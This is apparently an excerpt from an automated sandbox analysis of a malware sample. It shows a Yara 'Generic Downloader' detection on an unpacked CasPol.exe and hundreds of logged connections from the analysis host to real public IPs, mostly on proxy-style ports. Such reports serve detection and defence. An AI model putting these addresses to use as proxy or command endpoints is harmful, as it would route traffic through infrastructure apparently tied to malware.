Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51702 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 51633 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51683 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51674 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 51189 -> 18936
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51541 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 12792
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 51497
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51429
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 51721 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51183 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51881 -> 43704
Source: unknown	Network traffic detected: HTTP traffic on port 51211 -> 48298
Source: unknown	Network traffic detected: HTTP traffic on port 51788 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51879 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51807 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51732
Source: unknown	Network traffic detected: HTTP traffic on port 51794 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51520
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 51833 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51897 -> 49547
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51832 -> 44444
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51854 -> 15464
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 30747
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51837 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51992 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51733 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51973 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51680
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 4506
Source: unknown	Network traffic detected: HTTP traffic on port 51247 -> 63212
Source: unknown	Network traffic detected: HTTP traffic on port 51867 -> 808

Yara detected Generic Downloader

Source: Yara match

File source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 30

Source: global traffic	TCP traffic: 192.168.2.10:49709 -> 45.77.111.135:15082
Source: global traffic	TCP traffic: 192.168.2.10:49710 -> 203.161.32.242:50640
Source: global traffic	TCP traffic: 192.168.2.10:49713 -> 103.141.66.78:8080
Source: global traffic	TCP traffic: 192.168.2.10:49712 -> 162.241.6.97:44607
Source: global traffic	TCP traffic: 192.168.2.10:49715 -> 45.11.95.165:5212
Source: global traffic	TCP traffic: 192.168.2.10:49714 -> 103.186.8.162:8080
Source: global traffic	TCP traffic: 192.168.2.10:49716 -> 103.169.130.46:8080
Source: global traffic	TCP traffic: 192.168.2.10:49717 -> 91.187.55.39:5678
Source: global traffic	TCP traffic: 192.168.2.10:49719 -> 20.219.180.149:3129
Source: global traffic	TCP traffic: 192.168.2.10:49720 -> 160.248.80.91:587
Source: global traffic	TCP traffic: 192.168.2.10:49722 -> 154.72.90.74:8081
Source: global traffic	TCP traffic: 192.168.2.10:49723 -> 72.167.222.113:48892
Source: global traffic	TCP traffic: 192.168.2.10:49724 -> 103.26.108.118:84
Source: global traffic	TCP traffic: 192.168.2.10:49725 -> 92.204.134.38:9375
Source: global traffic	TCP traffic: 192.168.2.10:49726 -> 79.110.196.145:8081
Source: global traffic	TCP traffic: 192.168.2.10:49729 -> 152.32.78.24:4145
Source: global traffic	TCP traffic: 192.168.2.10:49730 -> 201.20.67.70:8080
Source: global traffic	TCP traffic: 192.168.2.10:49731 -> 47.91.110.154:1080
Source: global traffic	TCP traffic: 192.168.2.10:49732 -> 117.70.49.235:8089
Source: global traffic	TCP traffic: 192.168.2.10:49733 -> 162.241.70.64:49478
Source: global traffic	TCP traffic: 192.168.2.10:49734 -> 14.103.24.148:8000
Source: global traffic	TCP traffic: 192.168.2.10:49735 -> 207.180.234.220:37736
Source: global traffic	TCP traffic: 192.168.2.10:49736 -> 85.120.30.66:33590
Source: global traffic	TCP traffic: 192.168.2.10:49738 -> 142.54.237.34:4145
Source: global traffic	TCP traffic: 192.168.2.10:49739 -> 3.24.58.156:3128
Source: global traffic	TCP traffic: 192.168.2.10:49740 -> 43.133.136.208:8800
Source: global traffic	TCP traffic: 192.168.2.10:49741 -> 200.174.198.95:8888
Source: global traffic	TCP traffic: 192.168.2.10:49742 -> 45.56.220.210:59920
Source: global traffic	TCP traffic: 192.168.2.10:49743 -> 103.226.232.188:3125
Source: global traffic	TCP traffic: 192.168.2.10:49745 -> 116.97.240.147:4995
Source: global traffic	TCP traffic: 192.168.2.10:49746 -> 143.255.140.28:5678
Source: global traffic	TCP traffic: 192.168.2.10:49747 -> 113.53.3.242:8081
Source: global traffic	TCP traffic: 192.168.2.10:49748 -> 103.167.68.255:8080
Source: global traffic	TCP traffic: 192.168.2.10:49749 -> 122.152.53.25:5678
Source: global traffic	TCP traffic: 192.168.2.10:49750 -> 51.222.241.157:40351
Source: global traffic	TCP traffic: 192.168.2.10:49751 -> 72.10.160.90:30951
Source: global traffic	TCP traffic: 192.168.2.10:49752 -> 8.209.255.13:3128
Source: global traffic	TCP traffic: 192.168.2.10:49753 -> 162.214.90.49:58740
Source: global traffic	TCP traffic: 192.168.2.10:49754 -> 194.4.50.91:12334
Source: global traffic	TCP traffic: 192.168.2.10:49755 -> 103.199.155.18:6969
Source: global traffic	TCP traffic: 192.168.2.10:49757 -> 208.109.14.49:22881
Source: global traffic	TCP traffic: 192.168.2.10:49758 -> 91.213.119.246:31551
Source: global traffic	TCP traffic: 192.168.2.10:49759 -> 20.24.43.214:8123
Source: global traffic	TCP traffic: 192.168.2.10:49760 -> 178.212.51.79:5678
Source: global traffic	TCP traffic: 192.168.2.10:49761 -> 103.127.106.249:8090
Source: global traffic	TCP traffic: 192.168.2.10:49763 -> 185.108.141.19:8080
Source: global traffic	TCP traffic: 192.168.2.10:49762 -> 138.36.150.16:1080
Source: global traffic	TCP traffic: 192.168.2.10:49766 -> 67.43.228.252:4495
Source: global traffic	TCP traffic: 192.168.2.10:49767 -> 92.205.61.38:24183
Source: global traffic	TCP traffic: 192.168.2.10:49768 -> 162.243.102.207:9764
Source: global traffic	TCP traffic: 192.168.2.10:49770 -> 46.245.77.52:3128
Source: global traffic	TCP traffic: 192.168.2.10:49771 -> 45.229.10.98:8402
Source: global traffic	TCP traffic: 192.168.2.10:49772 -> 43.155.165.196:15673
Source: global traffic	TCP traffic: 192.168.2.10:49774 -> 20.37.207.8:8080
Source: global traffic	TCP traffic: 192.168.2.10:49775 -> 67.43.228.254:28971
Source: global traffic	TCP traffic: 192.168.2.10:49776 -> 162.241.50.179:37876
Source: global traffic	TCP traffic: 192.168.2.10:49778 -> 131.100.48.75:999
Source: global traffic	TCP traffic: 192.168.2.10:49779 -> 149.126.101.162:8080
Source: global traffic	TCP traffic: 192.168.2.10:49780 -> 51.81.89.146:50605
Source: global traffic	TCP traffic: 192.168.2.10:49781 -> 212.231.197.29:4145
Source: global traffic	TCP traffic: 192.168.2.10:49782 -> 42.200.196.208:8080
Source: global traffic	TCP traffic: 192.168.2.10:49784 -> 67.43.228.253:31033
Source: global traffic	TCP traffic: 192.168.2.10:49786 -> 186.248.87.172:5678
Source: global traffic	TCP traffic: 192.168.2.10:49788 -> 103.114.53.2:8080
Source: global traffic	TCP traffic: 192.168.2.10:49789 -> 64.227.108.25:31908
Source: global traffic	TCP traffic: 192.168.2.10:49790 -> 45.178.133.60:999
Source: global traffic	TCP traffic: 192.168.2.10:49792 -> 200.106.184.97:999
Source: global traffic	TCP traffic: 192.168.2.10:49793 -> 201.71.3.60:999
Source: global traffic	TCP traffic: 192.168.2.10:49794 -> 200.25.254.193:54240
Source: global traffic	TCP traffic: 192.168.2.10:49796 -> 114.231.45.101:8089
Source: global traffic	TCP traffic: 192.168.2.10:49798 -> 115.248.66.131:3129
Source: global traffic	TCP traffic: 192.168.2.10:49800 -> 171.244.140.160:37400
Source: global traffic	TCP traffic: 192.168.2.10:49801 -> 193.239.56.84:8081
Source: global traffic	TCP traffic: 192.168.2.10:49802 -> 14.207.41.71:8080
Source: global traffic	TCP traffic: 192.168.2.10:49803 -> 196.202.40.17:3128
Source: global traffic	TCP traffic: 192.168.2.10:49804 -> 185.82.87.30:1080
Source: global traffic	TCP traffic: 192.168.2.10:49805 -> 157.100.63.69:999
Source: global traffic	TCP traffic: 192.168.2.10:49806 -> 184.181.217.194:4145
Source: global traffic	TCP traffic: 192.168.2.10:49807 -> 188.124.15.13:3629
Source: global traffic	TCP traffic: 192.168.2.10:49809 -> 103.8.164.16:1111
Source: global traffic	TCP traffic: 192.168.2.10:49810 -> 193.106.57.96:5678
Source: global traffic	TCP traffic: 192.168.2.10:49812 -> 103.190.54.141:8080
Source: global traffic	TCP traffic: 192.168.2.10:49814 -> 115.127.112.74:8090
Source: global traffic	TCP traffic: 192.168.2.10:49815 -> 72.10.160.171:26315
Source: global traffic	TCP traffic: 192.168.2.10:49816 -> 193.239.86.249:3128
Source: global traffic	TCP traffic: 192.168.2.10:49817 -> 5.180.19.140:1080
Source: global traffic	TCP traffic: 192.168.2.10:49818 -> 45.181.123.145:999
Source: global traffic	TCP traffic: 192.168.2.10:49820 -> 193.34.21.200:8080
Source: global traffic	TCP traffic: 192.168.2.10:49821 -> 147.75.92.251:9401
Source: global traffic	TCP traffic: 192.168.2.10:49822 -> 15.236.106.236:3128
Source: global traffic	TCP traffic: 192.168.2.10:49823 -> 45.228.147.209:5678
Source: global traffic	TCP traffic: 192.168.2.10:49824 -> 93.171.243.253:1080
Source: global traffic	TCP traffic: 192.168.2.10:49825 -> 67.43.227.228:9039
Source: global traffic	TCP traffic: 192.168.2.10:49826 -> 123.108.98.108:5678
Source: global traffic	TCP traffic: 192.168.2.10:49827 -> 163.172.147.9:16379
Source: global traffic	TCP traffic: 192.168.2.10:49828 -> 220.248.70.237:9002
Source: global traffic	TCP traffic: 192.168.2.10:49829 -> 58.234.116.197:8197
Source: global traffic	TCP traffic: 192.168.2.10:49831 -> 92.204.135.37:55019
Source: global traffic	TCP traffic: 192.168.2.10:49833 -> 20.204.212.76:3129
Source: global traffic	TCP traffic: 192.168.2.10:49834 -> 155.50.241.99:3128
Source: global traffic	TCP traffic: 192.168.2.10:49836 -> 5.252.23.220:1080
Source: global traffic	TCP traffic: 192.168.2.10:49837 -> 160.19.169.208:8080
Source: global traffic	TCP traffic: 192.168.2.10:49838 -> 132.148.129.254:60781
Source: global traffic	TCP traffic: 192.168.2.10:49840 -> 123.182.58.221:8089
Source: global traffic	TCP traffic: 192.168.2.10:49841 -> 178.158.197.147:3629
Source: global traffic	TCP traffic: 192.168.2.10:49842 -> 178.128.207.96:18877
Source: global traffic	TCP traffic: 192.168.2.10:49843 -> 181.65.169.37:999
Source: global traffic	TCP traffic: 192.168.2.10:49844 -> 85.117.60.162:8080
Source: global traffic	TCP traffic: 192.168.2.10:49845 -> 5.44.42.115:58386
Source: global traffic	TCP traffic: 192.168.2.10:49846 -> 1.194.236.229:5005
Source: global traffic	TCP traffic: 192.168.2.10:49847 -> 98.162.25.29:31679
Source: global traffic	TCP traffic: 192.168.2.10:49848 -> 186.251.255.73:31337
Source: global traffic	TCP traffic: 192.168.2.10:49849 -> 190.2.104.201:4153
Source: global traffic	TCP traffic: 192.168.2.10:49850 -> 174.64.199.82:4145
Source: global traffic	TCP traffic: 192.168.2.10:49852 -> 181.212.45.228:8080
Source: global traffic	TCP traffic: 192.168.2.10:49853 -> 51.75.126.150:36694
Source: global traffic	TCP traffic: 192.168.2.10:49854 -> 176.88.166.218:8080
Source: global traffic	TCP traffic: 192.168.2.10:49855 -> 103.168.164.94:83
Source: global traffic	TCP traffic: 192.168.2.10:49856 -> 184.170.249.65:4145
Source: global traffic	TCP traffic: 192.168.2.10:49857 -> 179.1.192.27:999
Source: global traffic	TCP traffic: 192.168.2.10:49858 -> 51.81.186.179:51405
Source: global traffic	TCP traffic: 192.168.2.10:49859 -> 92.205.110.118:15430
Source: global traffic	TCP traffic: 192.168.2.10:49861 -> 161.97.163.52:64120
Source: global traffic	TCP traffic: 192.168.2.10:49862 -> 105.174.40.54:8080
Source: global traffic	TCP traffic: 192.168.2.10:49863 -> 45.190.78.50:999
Source: global traffic	TCP traffic: 192.168.2.10:49864 -> 168.228.36.22:27234
Source: global traffic	TCP traffic: 192.168.2.10:49865 -> 212.108.145.195:9090
Source: global traffic	TCP traffic: 192.168.2.10:49867 -> 88.202.230.103:17045
Source: global traffic	TCP traffic: 192.168.2.10:49868 -> 103.78.96.146:8181
Source: global traffic	TCP traffic: 192.168.2.10:49870 -> 87.76.1.251:8080
Source: global traffic	TCP traffic: 192.168.2.10:49871 -> 193.143.1.201:4444
Source: global traffic	TCP traffic: 192.168.2.10:49872 -> 34.85.177.170:3128
Source: global traffic	TCP traffic: 192.168.2.10:49873 -> 103.234.26.163:9990
Source: global traffic	TCP traffic: 192.168.2.10:49874 -> 1.15.62.12:5678
Source: global traffic	TCP traffic: 192.168.2.10:49875 -> 160.16.90.35:3128
Source: global traffic	TCP traffic: 192.168.2.10:49878 -> 18.134.236.231:3128
Source: global traffic	TCP traffic: 192.168.2.10:49879 -> 176.119.227.65:5678
Source: global traffic	TCP traffic: 192.168.2.10:49880 -> 123.30.154.171:7777
Source: global traffic	TCP traffic: 192.168.2.10:49881 -> 41.217.220.214:32650
Source: global traffic	TCP traffic: 192.168.2.10:49882 -> 178.128.156.219:8000
Source: global traffic	TCP traffic: 192.168.2.10:49883 -> 184.178.172.14:4145
Source: global traffic	TCP traffic: 192.168.2.10:49884 -> 89.187.216.58:1080
Source: global traffic	TCP traffic: 192.168.2.10:49885 -> 51.15.254.129:16379
Source: global traffic	TCP traffic: 192.168.2.10:49886 -> 186.251.255.105:31337
Source: global traffic	TCP traffic: 192.168.2.10:49888 -> 103.147.247.79:8080
Source: global traffic	TCP traffic: 192.168.2.10:49889 -> 94.131.106.196:3128
Source: global traffic	TCP traffic: 192.168.2.10:49892 -> 162.241.46.69:53783
Source: global traffic	TCP traffic: 192.168.2.10:49893 -> 95.47.149.8:8080
Source: global traffic	TCP traffic: 192.168.2.10:49894 -> 173.212.250.16:64768
Source: global traffic	TCP traffic: 192.168.2.10:49895 -> 166.62.121.127:45248
Source: global traffic	TCP traffic: 192.168.2.10:49896 -> 173.224.20.136:5678
Source: global traffic	TCP traffic: 192.168.2.10:49897 -> 162.214.225.223:49806
Source: global traffic	TCP traffic: 192.168.2.10:49899 -> 119.28.60.64:8090
Source: global traffic	TCP traffic: 192.168.2.10:49900 -> 103.153.232.41:8080
Source: global traffic	TCP traffic: 192.168.2.10:49901 -> 202.165.47.90:55443
Source: global traffic	TCP traffic: 192.168.2.10:49902 -> 103.169.254.186:8061
Source: global traffic	TCP traffic: 192.168.2.10:49903 -> 50.233.111.162:32100
Source: global traffic	TCP traffic: 192.168.2.10:49904 -> 65.109.152.88:8888
Source: global traffic	TCP traffic: 192.168.2.10:49905 -> 88.211.85.169:42931
Source: global traffic	TCP traffic: 192.168.2.10:49906 -> 104.238.111.107:5484
Source: global traffic	TCP traffic: 192.168.2.10:49907 -> 103.112.128.37:9091
Source: global traffic	TCP traffic: 192.168.2.10:49909 -> 194.182.187.78:3128
Source: global traffic	TCP traffic: 192.168.2.10:49910 -> 45.90.104.150:9090
Source: global traffic	TCP traffic: 192.168.2.10:49912 -> 46.0.203.186:8080
Source: global traffic	TCP traffic: 192.168.2.10:49915 -> 72.10.160.92:5775
Source: global traffic	TCP traffic: 192.168.2.10:49916 -> 41.33.203.115:1974
Source: global traffic	TCP traffic: 192.168.2.10:49917 -> 5.252.23.249:3128
Source: global traffic	TCP traffic: 192.168.2.10:49919 -> 37.187.77.58:10710
Source: global traffic	TCP traffic: 192.168.2.10:49922 -> 178.158.166.161:3128
Source: global traffic	TCP traffic: 192.168.2.10:49923 -> 92.247.12.136:9510
Source: global traffic	TCP traffic: 192.168.2.10:49926 -> 181.78.13.91:5678
Source: global traffic	TCP traffic: 192.168.2.10:49927 -> 57.128.163.242:8080
Source: global traffic	TCP traffic: 192.168.2.10:49928 -> 162.214.197.102:58740
Source: global traffic	TCP traffic: 192.168.2.10:49929 -> 211.222.252.187:8193
Source: global traffic	TCP traffic: 192.168.2.10:49931 -> 47.254.90.125:8888
Source: global traffic	TCP traffic: 192.168.2.10:49933 -> 43.131.245.216:15673
Source: global traffic	TCP traffic: 192.168.2.10:49935 -> 176.213.141.107:8080
Source: global traffic	TCP traffic: 192.168.2.10:49936 -> 148.72.209.174:12446
Source: global traffic	TCP traffic: 192.168.2.10:49938 -> 94.124.16.218:8901
Source: global traffic	TCP traffic: 192.168.2.10:49937 -> 8.142.132.204:18080
Source: global traffic	TCP traffic: 192.168.2.10:49939 -> 103.115.242.192:8080
Source: global traffic	TCP traffic: 192.168.2.10:49941 -> 41.65.236.56:1981
Source: global traffic	TCP traffic: 192.168.2.10:49943 -> 38.253.232.2:8080
Source: global traffic	TCP traffic: 192.168.2.10:49945 -> 36.90.61.224:4145
Source: global traffic	TCP traffic: 192.168.2.10:49947 -> 190.113.40.202:999
Source: global traffic	TCP traffic: 192.168.2.10:49948 -> 72.10.164.178:18067
Source: global traffic	TCP traffic: 192.168.2.10:49950 -> 103.234.27.153:1080
Source: global traffic	TCP traffic: 192.168.2.10:49951 -> 38.156.73.54:8080
Source: global traffic	TCP traffic: 192.168.2.10:49952 -> 103.76.253.66:3129
Source: global traffic	TCP traffic: 192.168.2.10:49954 -> 137.59.48.20:8080
Source: global traffic	TCP traffic: 192.168.2.10:49955 -> 178.245.145.234:3128
Source: global traffic	TCP traffic: 192.168.2.10:49957 -> 162.215.219.157:48117
Source: global traffic	TCP traffic: 192.168.2.10:49958 -> 170.239.205.1:999
Source: global traffic	TCP traffic: 192.168.2.10:49959 -> 51.89.173.40:55198
Source: global traffic	TCP traffic: 192.168.2.10:49961 -> 67.43.236.18:17145
Source: global traffic	TCP traffic: 192.168.2.10:49963 -> 36.255.104.1:13623
Source: global traffic	TCP traffic: 192.168.2.10:49964 -> 35.237.210.215:3128
Source: global traffic	TCP traffic: 192.168.2.10:49965 -> 159.223.71.71:59243
Source: global traffic	TCP traffic: 192.168.2.10:49966 -> 51.15.242.202:8888
Source: global traffic	TCP traffic: 192.168.2.10:49967 -> 41.128.148.76:1976
Source: global traffic	TCP traffic: 192.168.2.10:49968 -> 195.154.172.161:3128
Source: global traffic	TCP traffic: 192.168.2.10:49969 -> 38.156.72.135:8888
Source: global traffic	TCP traffic: 192.168.2.10:49972 -> 142.54.229.249:4145
Source: global traffic	TCP traffic: 192.168.2.10:49973 -> 85.94.24.29:1488
Source: global traffic	TCP traffic: 192.168.2.10:49977 -> 107.180.88.173:59820
Source: global traffic	TCP traffic: 192.168.2.10:49976 -> 92.118.132.125:8080
Source: global traffic	TCP traffic: 192.168.2.10:49979 -> 132.148.245.169:38117
Source: global traffic	TCP traffic: 192.168.2.10:49980 -> 67.43.227.226:25639
Source: global traffic	TCP traffic: 192.168.2.10:49981 -> 182.140.244.163:8118
Source: global traffic	TCP traffic: 192.168.2.10:49982 -> 202.142.167.210:1080
Source: global traffic	TCP traffic: 192.168.2.10:49983 -> 103.212.93.241:45639
Source: global traffic	TCP traffic: 192.168.2.10:49984 -> 163.172.171.22:16379
Source: global traffic	TCP traffic: 192.168.2.10:49985 -> 190.97.238.89:999
Source: global traffic	TCP traffic: 192.168.2.10:49987 -> 103.176.116.171:32650
Source: global traffic	TCP traffic: 192.168.2.10:49988 -> 125.99.106.250:3128
Source: global traffic	TCP traffic: 192.168.2.10:49989 -> 103.130.112.253:5678
Source: global traffic	TCP traffic: 192.168.2.10:49991 -> 178.236.122.164:5678
Source: global traffic	TCP traffic: 192.168.2.10:49992 -> 147.75.34.86:10003
Source: global traffic	TCP traffic: 192.168.2.10:49993 -> 148.72.23.56:60069
Source: global traffic	TCP traffic: 192.168.2.10:49994 -> 120.37.121.209:9091
Source: global traffic	TCP traffic: 192.168.2.10:49997 -> 185.200.37.245:8080
Source: global traffic	TCP traffic: 192.168.2.10:49999 -> 163.172.165.36:16379
Source: global traffic	TCP traffic: 192.168.2.10:50000 -> 66.29.128.246:34350
Source: global traffic	TCP traffic: 192.168.2.10:50002 -> 51.178.43.147:3128
Source: global traffic	TCP traffic: 192.168.2.10:50004 -> 191.103.219.225:48612
Source: global traffic	TCP traffic: 192.168.2.10:49990 -> 167.172.109.12:37355
Source: global traffic	TCP traffic: 192.168.2.10:50006 -> 107.180.88.41:24834
Source: global traffic	TCP traffic: 192.168.2.10:50007 -> 110.74.195.2:4153
Source: global traffic	TCP traffic: 192.168.2.10:50010 -> 178.128.148.69:3128
Source: global traffic	TCP traffic: 192.168.2.10:50011 -> 95.164.89.123:8888
Source: global traffic	TCP traffic: 192.168.2.10:50012 -> 131.0.87.225:52017
Source: global traffic	TCP traffic: 192.168.2.10:50014 -> 72.10.160.170:5385
Source: global traffic	TCP traffic: 192.168.2.10:50018 -> 139.255.132.68:1080
Source: global traffic	TCP traffic: 192.168.2.10:50020 -> 59.92.70.176:3127
Source: global traffic	TCP traffic: 192.168.2.10:50019 -> 67.43.236.20:31295
Source: global traffic	TCP traffic: 192.168.2.10:50022 -> 158.247.207.153:3030
Source: global traffic	TCP traffic: 192.168.2.10:50025 -> 111.8.155.54:7777
Source: global traffic	TCP traffic: 192.168.2.10:50026 -> 179.43.8.16:8088
Source: global traffic	TCP traffic: 192.168.2.10:50027 -> 51.158.64.130:16379
Source: global traffic	TCP traffic: 192.168.2.10:50028 -> 164.92.86.113:57391
Source: global traffic	TCP traffic: 192.168.2.10:50029 -> 200.52.148.10:999
Source: global traffic	TCP traffic: 192.168.2.10:50030 -> 195.154.43.184:19058
Source: global traffic	TCP traffic: 192.168.2.10:50031 -> 207.180.198.241:42581
Source: global traffic	TCP traffic: 192.168.2.10:50032 -> 103.231.248.98:3128
Source: global traffic	TCP traffic: 192.168.2.10:50033 -> 67.43.228.251:26087
Source: global traffic	TCP traffic: 192.168.2.10:50034 -> 103.159.46.2:83
Source: global traffic	TCP traffic: 192.168.2.10:50035 -> 62.171.131.101:25847
Source: global traffic	TCP traffic: 192.168.2.10:50036 -> 137.184.200.42:8000
Source: global traffic	TCP traffic: 192.168.2.10:50037 -> 147.124.212.31:11070
Source: global traffic	TCP traffic: 192.168.2.10:50039 -> 111.225.152.42:8089
Source: global traffic	TCP traffic: 192.168.2.10:50040 -> 51.15.142.4:16379
Source: global traffic	TCP traffic: 192.168.2.10:50042 -> 162.144.121.232:27262
Source: global traffic	TCP traffic: 192.168.2.10:50043 -> 113.100.209.184:3128
Source: global traffic	TCP traffic: 192.168.2.10:50045 -> 103.83.105.167:4153
Source: global traffic	TCP traffic: 192.168.2.10:50048 -> 167.249.29.218:999
Source: global traffic	TCP traffic: 192.168.2.10:50049 -> 167.86.102.169:16823
Source: global traffic	TCP traffic: 192.168.2.10:50050 -> 20.219.177.85:3129
Source: global traffic	TCP traffic: 192.168.2.10:50051 -> 14.103.24.20:8000
Source: global traffic	TCP traffic: 192.168.2.10:50052 -> 202.166.219.80:4153
Source: global traffic	TCP traffic: 192.168.2.10:50053 -> 81.19.3.249:10080
Source: global traffic	TCP traffic: 192.168.2.10:50054 -> 45.11.95.166:6014
Source: global traffic	TCP traffic: 192.168.2.10:50055 -> 103.77.50.168:8080
Source: global traffic	TCP traffic: 192.168.2.10:50056 -> 58.84.32.118:5678
Source: global traffic	TCP traffic: 192.168.2.10:50057 -> 74.62.179.122:8080
Source: global traffic	TCP traffic: 192.168.2.10:50058 -> 202.165.47.49:5678
Source: global traffic	TCP traffic: 192.168.2.10:50059 -> 174.64.199.79:4145
Source: global traffic	TCP traffic: 192.168.2.10:50060 -> 103.83.178.205:2016
Source: global traffic	TCP traffic: 192.168.2.10:50061 -> 162.214.191.209:58275
Source: global traffic	TCP traffic: 192.168.2.10:50064 -> 202.179.184.44:5430
Source: global traffic	TCP traffic: 192.168.2.10:50068 -> 94.186.234.236:8080
Source: global traffic	TCP traffic: 192.168.2.10:50069 -> 223.25.98.82:5678
Source: global traffic	TCP traffic: 192.168.2.10:50070 -> 201.170.180.188:8080
Source: global traffic	TCP traffic: 192.168.2.10:50071 -> 93.171.220.229:8888
Source: global traffic	TCP traffic: 192.168.2.10:50072 -> 98.64.169.17:8080
Source: global traffic	TCP traffic: 192.168.2.10:50073 -> 119.81.71.27:8123
Source: global traffic	TCP traffic: 192.168.2.10:50075 -> 86.110.189.118:42539
Source: global traffic	TCP traffic: 192.168.2.10:50076 -> 58.69.201.117:8082
Source: global traffic	TCP traffic: 192.168.2.10:50077 -> 77.242.24.241:8089
Source: global traffic	TCP traffic: 192.168.2.10:50078 -> 122.52.196.36:8080
Source: global traffic	TCP traffic: 192.168.2.10:50080 -> 93.42.151.10:8080
Source: global traffic	TCP traffic: 192.168.2.10:50081 -> 202.6.224.52:1080
Source: global traffic	TCP traffic: 192.168.2.10:50082 -> 87.255.200.108:60080
Source: global traffic	TCP traffic: 192.168.2.10:50083 -> 197.211.244.135:5678
Source: global traffic	TCP traffic: 192.168.2.10:50086 -> 49.228.131.169:5000
Source: global traffic	TCP traffic: 192.168.2.10:50087 -> 111.59.4.88:9002
Source: global traffic	TCP traffic: 192.168.2.10:50088 -> 148.66.130.53:56350
Source: global traffic	TCP traffic: 192.168.2.10:50089 -> 103.81.115.210:8080
Source: global traffic	TCP traffic: 192.168.2.10:50090 -> 186.24.9.114:999
Source: global traffic	TCP traffic: 192.168.2.10:50093 -> 218.6.120.111:7777
Source: global traffic	TCP traffic: 192.168.2.10:50095 -> 117.202.20.69:1088
Source: global traffic	TCP traffic: 192.168.2.10:50096 -> 203.160.57.87:5678
Source: global traffic	TCP traffic: 192.168.2.10:50097 -> 51.77.65.164:31979
Source: global traffic	TCP traffic: 192.168.2.10:50098 -> 51.158.108.134:16379
Source: global traffic	TCP traffic: 192.168.2.10:50101 -> 67.213.212.50:40080
Source: global traffic	TCP traffic: 192.168.2.10:50102 -> 203.76.117.74:4153
Source: global traffic	TCP traffic: 192.168.2.10:50103 -> 146.59.18.246:40975
Source: global traffic	TCP traffic: 192.168.2.10:50104 -> 23.225.72.122:3500
Source: global traffic	TCP traffic: 192.168.2.10:50105 -> 66.228.140.209:8899
Source: global traffic	TCP traffic: 192.168.2.10:50107 -> 186.215.87.194:6022
Source: global traffic	TCP traffic: 192.168.2.10:50108 -> 103.167.68.77:8080
Source: global traffic	TCP traffic: 192.168.2.10:50109 -> 159.112.141.44:8080
Source: global traffic	TCP traffic: 192.168.2.10:50110 -> 67.213.210.118:54924
Source: global traffic	TCP traffic: 192.168.2.10:50111 -> 115.221.242.131:9999
Source: global traffic	TCP traffic: 192.168.2.10:50112 -> 81.12.104.43:3629
Source: global traffic	TCP traffic: 192.168.2.10:50113 -> 183.179.187.16:8080
Source: global traffic	TCP traffic: 192.168.2.10:50114 -> 156.232.9.194:8080
Source: global traffic	TCP traffic: 192.168.2.10:50115 -> 62.171.133.66:3128
Source: global traffic	TCP traffic: 192.168.2.10:50116 -> 138.0.143.128:8080
Source: global traffic	TCP traffic: 192.168.2.10:50119 -> 155.50.213.149:3128
Source: global traffic	TCP traffic: 192.168.2.10:50120 -> 162.241.46.6:50062
Source: global traffic	TCP traffic: 192.168.2.10:50122 -> 181.78.74.78:999
Source: global traffic	TCP traffic: 192.168.2.10:50124 -> 64.124.145.1:1080
Source: global traffic	TCP traffic: 192.168.2.10:50123 -> 47.113.179.6:10705
